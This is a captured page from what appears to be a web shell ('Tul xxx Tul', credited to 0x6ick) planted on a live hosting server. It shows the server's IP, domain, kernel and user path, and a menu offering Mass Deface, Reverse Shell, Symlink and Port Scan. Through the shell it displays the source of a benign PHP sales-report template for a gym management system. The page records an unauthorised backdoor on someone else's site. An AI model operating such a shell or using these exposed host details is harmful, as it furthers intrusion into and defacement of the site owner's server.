Tul xxx Tul
User / IP
:
216.73.216.191
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
gimnasiofitnes
/
app
/
Views
/
admin
/
reportes
/
Viewing: sale.php
<!DOCTYPE html> <html> <head> <title>Reporte de Ventas Generales</title> <style> @page { margin: 1cm; } body { font-family: 'Helvetica', 'Arial', sans-serif; color: #334155; line-height: 1.2; font-size: 10pt; } .header { text-align: center; margin-bottom: 20px; border-bottom: 2px solid #2196F3; padding-bottom: 10px; } .header h1 { margin: 0; color: #1e293b; font-size: 18pt; text-transform: uppercase; } .header p { margin: 5px 0 0; color: #64748b; } table { width: 100%; border-collapse: collapse; margin-top: 10px; } th { background-color: #2196F3; color: white; text-transform: uppercase; font-weight: bold; padding: 8px; text-align: left; font-size: 9pt; } td { padding: 8px; border-bottom: 1px solid #e2e8f0; vertical-align: top; } .amount { text-align: right; white-space: nowrap; } .total-row { background-color: #f8fafc; font-weight: bold; } .footer { position: fixed; bottom: 0; width: 100%; text-align: center; font-size: 8pt; color: #94a3b8; padding-top: 5px; border-top: 1px solid #e2e8f0; } </style> </head> <body> <div class="header"> <h1>Reporte de Ventas Generales</h1> <p>Periodo: <?= ($desde ? date('d/m/Y', strtotime($desde)) : 'Inicio') ?> al <?= ($hasta ? date('d/m/Y', strtotime($hasta)) : date('d/m/Y')) ?></p> </div> <table> <thead> <tr> <th style="width: 80px;">Fecha</th> <th style="width: 70px;">No Doc.</th> <th>Nombre del Cliente</th> <th>Concepto</th> <th class="amount">Valor</th> <th class="amount">Costo</th> <th class="amount">Utilidad</th> </tr> </thead> <tbody> <?php $totalValor = 0; $totalCosto = 0; $totalUtilidad = 0; foreach ($sales as $sale) : $cost = (float)$sale['cost']; $profit = $sale['total'] - $cost; $totalValor += $sale['total']; $totalCosto += $cost; $totalUtilidad += $profit; ?> <tr> <td><?= date('d/m/Y', strtotime($sale['created_at'])) ?></td> <td><?= str_pad($sale['id'], 6, '0', STR_PAD_LEFT) ?></td> <td><?= esc($sale['user_name'] ?? 'Sin cliente') ?></td> <td><small><?= esc($sale['concept'] ?? 'Venta de Productos') ?></small></td> <td class="amount"><?= get_currency($sale['total']) ?></td> <td class="amount"><?= get_currency($cost) ?></td> <td class="amount"><?= get_currency($profit) ?></td> </tr> <?php endforeach; ?> </tbody> <tfoot> <tr class="total-row"> <td colspan="4" style="text-align: right; padding-right: 20px;">TOTAL</td> <td class="amount"><?= get_currency($totalValor) ?></td> <td class="amount"><?= get_currency($totalCosto) ?></td> <td class="amount"><?= get_currency($totalUtilidad) ?></td> </tr> </tfoot> </table> <div class="footer"> Generado el <?= date('d/m/Y H:i') ?> | Sistema de Gestión de Gimnasio </div> </body> </html>
Coded With 💗 by
0x6ick